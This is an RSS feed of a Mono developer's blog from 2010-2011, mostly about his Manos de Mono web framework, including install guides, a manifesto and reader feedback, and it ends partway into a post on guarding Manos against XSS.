<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description>I am a developer on the Mono and Moonlight projects.






  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-17712520-1']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

 Amazon.com Widgets</description><title>jacksonh.tumblr.com</title><generator>Tumblr (3.0; @jacksonh)</generator><link>http://jacksonh.tumblr.com/</link><item><title>Tired of the glowing red circle on all your google pages?</title><description>&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_lpa8s81mPH1qcw5gr.png" alt="No red square!"/&gt;&lt;/p&gt;

&lt;p&gt;I wrote &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/google-plus-hide/"&gt;Firefox&lt;/a&gt; and &lt;a href="https://chrome.google.com/webstore/detail/efcfldkhbooboegdflkmkfindkjijnfd"&gt;Chrome&lt;/a&gt; extensions to get rid of it.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/8370911147</link><guid>http://jacksonh.tumblr.com/post/8370911147</guid><pubDate>Tue, 02 Aug 2011 00:08:04 -0400</pubDate></item><item><title>Moving on</title><description>&lt;p&gt;Unfortunately, I will not be joining &lt;a href="http://xamarin.com"&gt;Xamarin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve worked on Mono for a long time (nine years I think) and there are a lot of people on the team I consider good friends. I wish everyone at Xamarin the best of luck.  They&amp;#8217;ve got a great group of talented people.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/mnbQl.jpg" alt="Sad Cat"/&gt;&lt;/p&gt;

&lt;p&gt;(This was a tough blog entry to write, I could barely muster the energy to find a funny cat picture)&lt;/p&gt;

&lt;p&gt;As for me, I am looking for exciting new opportunities. Either fulltime positions or contract work.  So please &lt;a href="mailto:jacksonh@gmail.com"&gt;email me&lt;/a&gt; if you know of anything.&lt;/p&gt;

&lt;p&gt;Lots of people have been asking me about the future of Manos.  As of right now its hard for me to make any promises.  Manos has been getting a lot of awesome contributions from other people.  So I am sure it will live on.&lt;/p&gt;

&lt;p&gt;UPDATE:  Just a couple updates regarding my employment situation:
* Unfortunately, because my fiancee is in medical residency I can&amp;#8217;t leave Boston for the next three years
* I leave for my wedding/honeymoon in a couple of weeks and wont be back in the states until July 15th.
* I don&amp;#8217;t necessarily care if the technology I work on is .NET or not.  I like most programming languages.  What&amp;#8217;s more important to me is what is being done with the technology.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/6391378914</link><guid>http://jacksonh.tumblr.com/post/6391378914</guid><pubDate>Fri, 10 Jun 2011 15:00:00 -0400</pubDate></item><item><title>Using Fancy Hands to name your product/company/cat/first born</title><description>&lt;p&gt;I recently read &lt;a href="http://www.fastcompany.com/magazine/151/made-to-stick-the-quest-forthe-perfect-name.html"&gt;this awesome article&lt;/a&gt; on coming up with product names. The article details how Lexicon, a boutique naming firm, comes up with product names.&lt;/p&gt;

&lt;p&gt;The basic process used by Lexicon is something like this:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;A team learns about the product&lt;/li&gt;
&lt;li&gt;The team lists concepts they&amp;#8217;d like to convey with the name&lt;/li&gt;
&lt;li&gt;A number of teams with no knowledge of the product are asked to come up with words/phrases that convey those messages&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Not having knowledge of the product is the key.  When you have an intimate knowledge of something its hard to come up with those unique names instead of just describing the product.  This is why software engineers often come up with names like File Saver Pro or Dog Picture Uploader.&lt;/p&gt;

&lt;p&gt;As a single developer working alone its really hard to detach yourself and find those words/phrases.  Asking friends doesn&amp;#8217;t really work either because they often have background knowledge or want to have more info.&lt;/p&gt;

&lt;p&gt;That&amp;#8217;s where &lt;a href="http://www.fancyhands.com/r/911aec3bedb0"&gt;Fancy Hands&lt;/a&gt; comes in.  As an experiment I tried using Fancy Hands to rename &lt;a href="http://manosdemono.org"&gt;Manos de Mono&lt;/a&gt;.  I&amp;#8217;m not going to rename it, but I just wanted to see how it would work.&lt;/p&gt;

&lt;p&gt;I sent a number of requests to fancy hands like &amp;#8220;Please list the first 15 things you think of when I say the word &amp;#8216;fast&amp;#8217;&amp;#8221; or &amp;#8220;Name 15 activities that are performed at highspeed&amp;#8221;.  I also asked things like &amp;#8220;List ten fast animals&amp;#8221;.&lt;/p&gt;

&lt;p&gt;That first round of questions led to some pretty good names.  In fact they even came up with tornado, which is the name of the &lt;a href="http://tornadoweb.org"&gt;project&lt;/a&gt; Manos was originally based on.&lt;/p&gt;

&lt;p&gt;In the second round of questions I asked for things related to tornados.  They came up with Marvel which I think is a pretty cool name.&lt;/p&gt;

&lt;p&gt;You might not use any of the names that Fancy Hands comes up with but I think at the very least it&amp;#8217;s a really cheap way to help get the creative juices flowing.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/3347895643</link><guid>http://jacksonh.tumblr.com/post/3347895643</guid><pubDate>Thu, 17 Feb 2011 14:23:00 -0500</pubDate></item><item><title>Updated UI for the online editor</title><description>&lt;p&gt;Less than an hour after I blogged an ugly editor UI last week &lt;a href="http://twitter.com/#!/jpobst"&gt;Jonathan Pobst&lt;/a&gt; sent me a nicer looking version.  This is what it looks like now:&lt;/p&gt;

&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_lgq3m3kYxW1qcw5gr.png" alt=""/&gt;&lt;/p&gt;

&lt;p&gt;We decided to keep the save/cancel as real form buttons so you can still easily tab to the save button after editing.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/3329482648</link><guid>http://jacksonh.tumblr.com/post/3329482648</guid><pubDate>Wed, 16 Feb 2011 13:36:33 -0500</pubDate></item><item><title>Editable monodocs</title><description>&lt;p&gt;We have a saying around the office that Mono is about making &amp;#8220;happy developers&amp;#8221; and we feel a big part of that is having excellent documentation.  High quality documentation has become increasingly crucial now that we have so many of our own APIs and can&amp;#8217;t just rely on MSDN.  Things like MonoMac, MonoTouch and MonoDroid all require their own documentation.&lt;/p&gt;

&lt;p&gt;So one of the things I&amp;#8217;ve been working on for the last couple of months is productizing Kipunji and getting it to fit in better with our documentation structure.  As we did this we realized that online editing of documentation would be a killer feature and allow us to create more and better docs.&lt;/p&gt;

&lt;p&gt;Last night I pushed online documentation to &lt;a href="http://mono.ximian.com/monomac-docs"&gt;monomac-docs&lt;/a&gt;.  There are only a few of us that are authorized to edit docs, but we are planning on enabling a system that will allow non-authorized users to edit and submit docs soon.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a peek at what it looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_lgh0unx3eq1qcw5gr.png" alt=""/&gt;&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/3238385121</link><guid>http://jacksonh.tumblr.com/post/3238385121</guid><pubDate>Fri, 11 Feb 2011 15:57:42 -0500</pubDate></item><item><title>Manos now runs on Windows</title><description>&lt;p&gt;Over the weekend a totally awesome contributer was nice enough to get Manos running on Windows.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/1djS2.jpg" alt="Happy Cat"/&gt;&lt;/p&gt;

&lt;p&gt;Here are the instructions he supplied:&lt;/p&gt;

&lt;h2&gt;Install Mono 2.8 (Optional)&lt;/h2&gt;

&lt;p&gt;Follow the Windows specific instructions on &lt;a href="http://www.mono-project.com/download"&gt;&lt;a href="http://www.mono-project.com/download"&gt;http://www.mono-project.com/download&lt;/a&gt;&lt;/a&gt; to install Mono 2.8.&lt;/p&gt;

&lt;p&gt;This step is optional but you will need the Mono.Posix.dll and PosixHelper.dll when you want to compile a single Manos dll for both Windows and Linux/MacOS.&lt;/p&gt;

&lt;h3&gt;Install libev&lt;/h3&gt;

&lt;p&gt;Download the libev package from: &lt;a href="http://software.schmorp.de/pkg/libev.html"&gt;http://software.schmorp.de/pkg/libev.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Extract it and place it next to the libev in the source dir, so both libev-4.00 and libev are in the same directory.&lt;/p&gt;

&lt;h3&gt;Install Manos&lt;/h3&gt;

&lt;p&gt;Checkout Manos from github at &lt;a href="http://github.com/jacksonh/manos/"&gt;&lt;a href="http://github.com/jacksonh/manos/"&gt;http://github.com/jacksonh/manos/&lt;/a&gt;&lt;/a&gt; and build/install it using Visual Studio.&lt;/p&gt;

&lt;p&gt;If you do no have Mono installed you can define DISABLE_POSIX to remove the Mono.Posix dependency.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1471137062</link><guid>http://jacksonh.tumblr.com/post/1471137062</guid><pubDate>Wed, 03 Nov 2010 11:34:00 -0400</pubDate></item><item><title>Installing Manos on OS X</title><description>&lt;p&gt;First off, for those that don&amp;#8217;t know what Manos is:  Manos is an easy to use, easy to test, high performance web application framework that runs on Mono.  You can read more about it &lt;a href="http://jacksonh.tumblr.com/post/1159500924/manos-de-mono-the-manifesto"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Lately it seems like everyone is trying to install Manos on OS X, so I spent some time last night trying to install it on my macbook.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/Zb0kQ.jpg" alt="Kitty Cats"/&gt;&lt;/p&gt;

&lt;p&gt;I think I&amp;#8217;ve fixed most of the issues so its a relatively smooth process now.  There are a few more steps than I&amp;#8217;d like, but remember this is just alpha software.&lt;/p&gt;

&lt;p&gt;So here we go.&lt;/p&gt;

&lt;h2&gt;Install Mono 2.8&lt;/h2&gt;

&lt;p&gt;Grab the Mono 2.8 OSX package from the &lt;a href="http://mono-project.com/Downloads"&gt;Mono Downloads Page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You need to have Mono 2.8 installed on your system. An older Mono install wont cut it. Also, if you&amp;#8217;ve install Mono from source on your Mac, things might work, things might not work.  This guide assumes you have it installed from packages.&lt;/p&gt;

&lt;h2&gt;Install libev&lt;/h2&gt;

&lt;p&gt;libev is Manos&amp;#8217;s one native dependency.  I installed this guy using macports:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo port install libev +universal
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The key part of this is that we are installing the universal build of libev. If you leave that part out you could get a 64bit version and Mono won&amp;#8217;t be able to load it.&lt;/p&gt;

&lt;p&gt;You should now have a libev.dylib in /opt/local/lib/ to make sure Mono knows where to find that library, update your DYLD_FALLBACK_LIBRARY_PATH.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;export DYLD_FALLBACK_LIBRARY_PATH=/opt/local/lib
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Install libev-sharp&lt;/h2&gt;

&lt;p&gt;libev-sharp is a managed wrapper around libev.  The best way to install it is to grab it from my github:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;git clone https://jacksonh@github.com/jacksonh/libev-sharp.git
cd libev-sharp
./configue
make
sudo make install
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will install libev-sharp.dll into your /usr/local/lib/libev-sharp directory and will also install a pkg-config file.&lt;/p&gt;

&lt;h2&gt;Install Manos&lt;/h2&gt;

&lt;p&gt;Now that all the dependencies are installed you should be able to build and install Manos.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;git clone https://jacksonh@github.com/jacksonh/manos.git
cd manos
./configue
make
sudo make install
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will install Manos.dll, manos.exe and libev-sharp.dll into /usr/local/lib/manos. As well as a .pc file and a manos script for invoking manos.exe&lt;/p&gt;

&lt;h2&gt;Confirm your installation&lt;/h2&gt;

&lt;p&gt;You should now be able to run the manos documentation server:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;manos -docs
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and navigate to http://localhost:8181/ in your browser.&lt;/p&gt;

&lt;h2&gt;Trouble Shooting&lt;/h2&gt;

&lt;ol&gt;&lt;li&gt;&lt;p&gt;If your build fails because libev-sharp isn&amp;#8217;t found, you can manually copy it into your manos/build/ directory.&lt;/p&gt;

&lt;p&gt;erp:manos jackson$ cp /usr/local/lib/libev-sharp.dll* build/.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Note that you want to cp libev-sharp.dll* not just libev-sharp.dll.  That way you&amp;#8217;ll get the .mdb debugging file copied over also.&lt;/p&gt;

&lt;ol&gt;&lt;li&gt;&lt;p&gt;If you are getting a type load exception, make sure you have the universal libev installed:&lt;/p&gt;

&lt;p&gt;erp:~ jackson$ cd /opt/local/lib&lt;/p&gt;

&lt;p&gt;erp:lib jackson$ file libev.dylib&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;libev.dylib: symbolic link to libev.3.0.0.dylib
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;erp:lib jackson$ file libev.3.0.0.dylib&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;libev.3.0.0.dylib: Mach-O universal binary with 2 architectures

libev.3.0.0.dylib (for architecture x86_64):    Mach-O 64-bit dynamically linked shared library x86_64

libev.3.0.0.dylib (for architecture i386):      Mach-O dynamically linked shared library i386
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Another trick is to use Mono&amp;#8217;s logging to see where Mono is looking for libev.dylib&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; MONO_LOG_MASK=dll MONO_LOG_LEVEL=debug manos -docs
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Hopefully all this works for you, if you notice any problems please let me know.  Its my first pass at getting Manos running on OS X so its very possible I&amp;#8217;ve missed something.&lt;/p&gt;

&lt;p&gt;And remember there is a &lt;a href="http://groups.google.com/group/manos-de-mono"&gt;Manos de Mono Google Group&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And you can follow the github project here: &lt;a href="http://github.com/jacksonh/manos"&gt;&lt;a href="http://github.com/jacksonh/manos"&gt;http://github.com/jacksonh/manos&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Special thanks to &lt;a href="http://twitter.com/kangamono"&gt;Geoff Norton&lt;/a&gt; for answering all my &amp;#8216;i dont get the mac&amp;#8217; questions.&lt;/strong&gt;&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1270333973</link><guid>http://jacksonh.tumblr.com/post/1270333973</guid><pubDate>Fri, 08 Oct 2010 14:21:00 -0400</pubDate></item><item><title>Manos now using libev-sharp</title><description>&lt;p&gt;I just pushed a Manos update that switches all the event handling over to using libev.  libev is a powerful event loop and is used in projects like node.js. Previously Manos had its own event loop,
calling directly into epoll itself.  So this switch has a nice benefit of dropping some rather complex code from Manos.   The main benefit of this switch is that libev is a cross platform library that runs on Linux, OS X and Windows.  So this removes the main blocker for running Manos on the Mac and on Windows.  As another side benefit we can be confident that Manos is built on the same foundations as other high performance servers.&lt;/p&gt;

&lt;p&gt;To make this switch I created a managed wrapper around the libev library.  Its source repo is here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/libev-sharp"&gt;&lt;a href="http://github.com/jacksonh/libev-sharp"&gt;http://github.com/jacksonh/libev-sharp&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and you can find openSUSE 11.3 packages here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://software.opensuse.org/search?q=libev-sharp&amp;amp;baseproject=openSUSE%3A11.3&amp;amp;lang=en&amp;amp;exclude_debug=true#"&gt;&lt;a href="http://software.opensuse.org/search?q=libev-sharp&amp;amp;baseproject=openSUSE%3A11.3&amp;amp;lang=en&amp;amp;exclude_debug=true#"&gt;http://software.opensuse.org/search?q=libev-sharp&amp;amp;baseproject=openSUSE%3A11.3&amp;amp;lang=en&amp;amp;exclude_debug=true#&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So that is the good news.&lt;/p&gt;

&lt;p&gt;The bad news is that this introduces a dependency in Manos and if you want to build Manos you&amp;#8217;ll need to install libev-sharp.  Hopefully Ubuntu packages will be available soon.&lt;/p&gt;

&lt;p&gt;I am hoping OSX can now run Manos out of the box.  Windows will take a little more time as I have to remove the sendfile call.  However, I think windows will still work as long as you don&amp;#8217;t try to serve any static content.  Right now Manos serves static content with the unix sendfile call which isn&amp;#8217;t available on windows.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1252140133</link><guid>http://jacksonh.tumblr.com/post/1252140133</guid><pubDate>Tue, 05 Oct 2010 20:02:14 -0400</pubDate></item><item><title>Warm reception for Manos</title><description>&lt;p&gt;Before pressing the Publish Now button on my the &lt;a href="http://jacksonh.tumblr.com/post/1159500924/manos-de-mono-the-manifesto"&gt;Manos de Mono Manifesto&lt;/a&gt;, I mentally prepared myself for a beat down. I figured the redditors would tear it apart for using Mono, the hackernews guys would tear it apart for not being rails and the .net people would be angry about some missing enterprise feature.  Oh yeah, and then there are the free software people.&lt;/p&gt;

&lt;p&gt;I think the redditors scared me the most.  You know that scene in every zombie movie, where the annoying guy that you want to die is sneaking through a group of distracted zombies.  Inevitably he drops something, it makes a loud noise, and dozens of zombies turn, stare for a second, moan and attack.  Thats what having your article submitted to reddit feels like.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/a88ao.jpg" alt="Zombies"/&gt;&lt;/p&gt;

&lt;p&gt;But reddit feedback was awesome.  Here are a couple quotes:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Very cool, as a full time C# .NET(ASP.NET &amp;amp; Winforms) developer I 
have only recently tried Mono with a console application I'm writing
and have loved it so far. I was reluctant to delve into running an 
ASP.NET application through but with this I'm definitely going to 
give it a go.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Hell yes, this saves me from having to learn node.js
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The article also made it up to the top of Hackernews.  Over there &lt;a href="http://twitter.com/averyj"&gt;@averyj&lt;/a&gt; of &lt;a href="http://tekpub.com/"&gt;TekPub&lt;/a&gt; fame did a nice job of summarizing what he felt were the cool features in Manos.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Just from reading through it quickly it includes the following 
things I believe are absent in all of the above (although I have 
only worked with ASP.NET MVC and MonoRail).

1) It has a built in web-server. This is hugely awesome, 
    especially since it is based on Tornado. No mucking with 
    Apache or Nginx, CGI, etc.

 2) It includes command line app generation and compilation
    - missing from at least ASP.NET MVC.

 3) Simple Routing - did you look at the route and lamba? 
     That is awesome.

  Some of what is here is similar to what exists, but this looks 
  much improved. Pipes looks to be an improvement over the 
  current HttpModules of ASP.NET. The view engine looks like 
  an improvement over .aspx. The HTML5 template looks like an 
  improvement over the crappy templates that MVC creates.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &amp;#8216;this is awesome&amp;#8217; posts are nice, but things like this are really cool, because you can tell javery really understands why Manos is going to be awesome.&lt;/p&gt;

&lt;p&gt;On top of all that, Manos now has around 160 github watchers.  Thats more than any of the projects in the mono repository, including mono itself.&lt;/p&gt;

&lt;p&gt;Probably the biggest endorsement of all came last night.  While I was working away, I received an email from someone who wanted to give me money to buy domain names for the project.  Boom, 20 minutes later he paypal&amp;#8217;d me the money.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/olNBa.jpg" alt="I am rich"/&gt;&lt;/p&gt;

&lt;p&gt;So it seems like people like the idea.&lt;/p&gt;

&lt;h2&gt;Renewed Vigor&lt;/h2&gt;

&lt;p&gt;This makes hacking on Manos late at night much more exciting. Its cool to know people actually want to use Manos or at least play with it.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/nVLS9.jpg" alt="Excited Dog"/&gt;&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ll be working on Manos full time for the first two weeks of October.  This should give me enough time to get a fairly polished release out. It should include a bunch of fixes to the core pieces and some new features based on feedback.  I&amp;#8217;ve also got some ideas for a new IO setup that will significantly improve performance.&lt;/p&gt;

&lt;p&gt;The big piece is the template engine though.  I&amp;#8217;ve been agonizing over what to do here and after talking to some friends, I think I&amp;#8217;m just bike shedding.  The template engine I have now is pretty awesome, I just need to rework some things.  So there should be a nice template engine in the release too.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve also done the work to get Manos packaged properly once Mono 2.8 is out. I&amp;#8217;ve setup RPM spec files for Suse and I think I have sufficiently bribed Jo Shields for Ubuntu packages.&lt;/p&gt;

&lt;p&gt;So thanks for all the feedback guys. And remember if you want to get involved with the project you can watch/fork it on github at &lt;a href="http://github.com/jacksonh/manos"&gt;&lt;a href="http://github.com/jacksonh/manos"&gt;http://github.com/jacksonh/manos&lt;/a&gt;&lt;/a&gt; and you can subscribe to the google group here: &lt;a href="http://groups.google.com/group/manos-de-mono"&gt;&lt;a href="http://groups.google.com/group/manos-de-mono"&gt;http://groups.google.com/group/manos-de-mono&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1210705558</link><guid>http://jacksonh.tumblr.com/post/1210705558</guid><pubDate>Wed, 29 Sep 2010 11:23:00 -0400</pubDate></item><item><title>Manos de Mono: The Manifesto</title><description>&lt;p&gt;Although I&amp;#8217;ve spent the last five years working on desktop technologies like Windows Forms and Moonlight, my real interest is on the web. I get more excited about requests per a second than smooth scrolling and I don&amp;#8217;t really care about grid controls.  Whenever possible I like to used web based applications like gmail, tumblr and prezi.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve always enjoyed using and developing web applications but I&amp;#8217;ve never been a huge fan of asp.net.  To me, writing apps with Django or Tornado has always been much more enjoyable. MonoRail and MVC were big improvements over webforms, but still they felt difficult to me, especially if you aren&amp;#8217;t using an IDE.  Mono and web development just never meshed for me.&lt;/p&gt;

&lt;p&gt;Because I love the web and I love Mono, there was only one thing I could do.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/KFDrS.jpg" alt="Love Child"/&gt;&lt;/p&gt;

&lt;p&gt;I had to put them both in a room. Poke them repeatedly with sharp sticks. And deprive them of sunlight until they could learn to love each other. After a few months of forced love, they gave birth to their first child. Her name is Manos de Mono, and this is her story.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/RFGmC.png" alt="Cat climbing Mountain"/&gt;&lt;/p&gt;

&lt;h3&gt;So what is Manos de Mono?&lt;/h3&gt;

&lt;p&gt;Manos is a a lightweight web application framework that runs on Mono. The goal of Manos is to simplify the entire web application development process. It should be easy to prototype, design, develop, test, debug and deploy Manos applications.  The focus isn&amp;#8217;t just on getting you up and running quickly, the focus is on the entire process of creating, managing and updating a web
application.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;"Simple things should be simple. Complex things should be possible"
-- Alan Kay
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Manos aims to be Simple, Testable, High Performance, Reusable and Flexible.&lt;/p&gt;

&lt;h3&gt;C# sucks for web apps, why bother?&lt;/h3&gt;

&lt;p&gt;Many web developers don&amp;#8217;t consider C# and Mono as a viable language for web application development. However, I feel that there hasn&amp;#8217;t been a web app framework built that takes advantage of Mono.&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;p&gt;C# is a great programming language.  It allows for clean, expressive code. It bends nicely to your programming style. I think most people that have actually used C# find the language quite enjoyable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The core class libraries in .NET and Mono are very nicely polished. For the most part the API is clean, discoverable and easy to use. The API documentation on msdn.com is also top notch.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;.NET is also really nice for multicore/multiprocessor programming. Often all you need to do to take advantage of all of a machines cores is use the AsParallel function.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The problem though isn&amp;#8217;t the language or the platform. The problem are the frameworks.&lt;/p&gt;

&lt;p&gt;There has been an infection of over engineering and me-too technologies in this space. We have abandonded the Unix/AT&amp;amp;T style of simple programming and have replaced that with layers upon layers of goo.&lt;/p&gt;

&lt;p&gt;So Manos is my attempt at getting back to simplicity. Web frameworks really don&amp;#8217;t need to be that complicated. For the most part websites get requests and return either HTML or JSON. Is this really that complicated a task?&lt;/p&gt;

&lt;h3&gt;A closer look at Manos&lt;/h3&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/1kpNx.jpg" alt="close up of a cat"/&gt;&lt;/p&gt;

&lt;p&gt;Here are some of the main features of Manos, from the bottom up:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;p&gt;A scalable non-blocking HTTP server. Manos includes its own high performance web server based on friendfeed&amp;#8217;s tornado web server (&lt;a href="http://tornadoweb.org"&gt;http://tornadoweb.org&lt;/a&gt;). Having an integrated server simplifies deployment and allows the underlying server to be customized to meet the needs of the higher level framework.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An HTTP &amp;#8220;pipes&amp;#8221; system, that allows you to hook into and process all http requests and responses before/after they get to the main routing framework.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Simple routing. There are a number of easy ways you can route requests to methods in Manos. Using properties to route to other modules, convention based method signatures to implicitly add methods, attributes on methods to explicitly route to them or by using the HTTP methods to add a delegate for a route.  All these routes can be defined with string matching, regular expressions or a simple named group matching syntax that looks like this: &amp;#8220;/Articles/{title}/{page}/&amp;#8221;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Named parameter conversion on methods. If you create a method Foo (IManosContext ctx, string bar, int idx). Manos will find those parameters in the request data and automatically type convert them for you.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTML5 Boilerplate. When you create a new Manos project you get a layout based on the HTML5 boilerplate project (&lt;a href="http://html5boilerplate.com/"&gt;http://html5boilerplate.com/&lt;/a&gt;).  This gives you a rock solid place to start for your front end development.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A wicked fast, html-centric template engine. The Manos template engine is designed to be designer and developer friendly. You can easily edit the template files without the help of an IDE and if a designer sends you html files, you can easily convert them into templates. To maximize performance the templates are compiled, not interpretted but they can still be generated
at runtime.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A simple command line tool for creating, building and hosting your apps. No IDE needed. Creating a new project is as simple as typing manos -init.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reusability: The success of todays popular web application frameworks is not just in their API or performance, its in the wealth of community developed libraries that can be easily plugged into your application. To facilate this, Manos is designed with shareable modules in mind. The framework is designed to encourage modular systems design and code reuse.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;To get a better look at Manos, you should checkout the tutorial here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-1.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-1.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-1.md&lt;/a&gt;&lt;/a&gt;
and
&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-2.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-2.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/tutorial/page-2.md&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;So who is this for?&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;d like to defer to my good friend and close business associate, COURAGE WOLF on this one.&lt;/p&gt;

&lt;p&gt;&lt;img src="http://i.imgur.com/Uq9GO.jpg" alt="finding a niche is for losers"/&gt;&lt;/p&gt;

&lt;p&gt;I don&amp;#8217;t want Manos to be just for small apps, or enterprise app or a cute web framework for the iphone.  I&amp;#8217;d like for Manos to kick ass equally across all platforms.&lt;/p&gt;

&lt;h3&gt;The Beginning&lt;/h3&gt;

&lt;p&gt;Manos will be awesome. Enough of it is done for me to know.&lt;/p&gt;

&lt;p&gt;Unfortunately this is going to be a big change for some people. .NET haters might have to shut up. And .NET developers are going to have to get used to the fact that web application development isn&amp;#8217;t a pain in the ass.&lt;/p&gt;

&lt;p&gt;Follow the project at &lt;a href="http://github.com/jacksonh/manos"&gt;http://github.com/jacksonh/manos&lt;/a&gt; 
Sign up for the mailing list at &lt;a href="http://groups.google.com/group/manos-de-mono"&gt;http://groups.google.com/group/manos-de-mono&lt;/a&gt;&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1159500924</link><guid>http://jacksonh.tumblr.com/post/1159500924</guid><pubDate>Wed, 22 Sep 2010 10:52:00 -0400</pubDate></item><item><title>Cleaning up user input in Manos</title><description>&lt;p&gt;I&amp;#8217;ve been working on making Manos more secure by default. One of the big things I worry about is XSS attacks.  I&amp;#8217;m sure that most people understand XSS attacks, but here&amp;#8217;s a quick example of how things could go bad.&lt;/p&gt;

&lt;p&gt;In the Shorty app that&amp;#8217;s included in the (upcoming) first release of Manos, we have a method like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; void SubmitLink (Shorty app, IManosContext ctx, string link)
 {
       // Save the link
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and one that looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;void LinkInfo (Shorty app, IManosContext ctx, string id)
 {
     var info = // ... get the link ect.

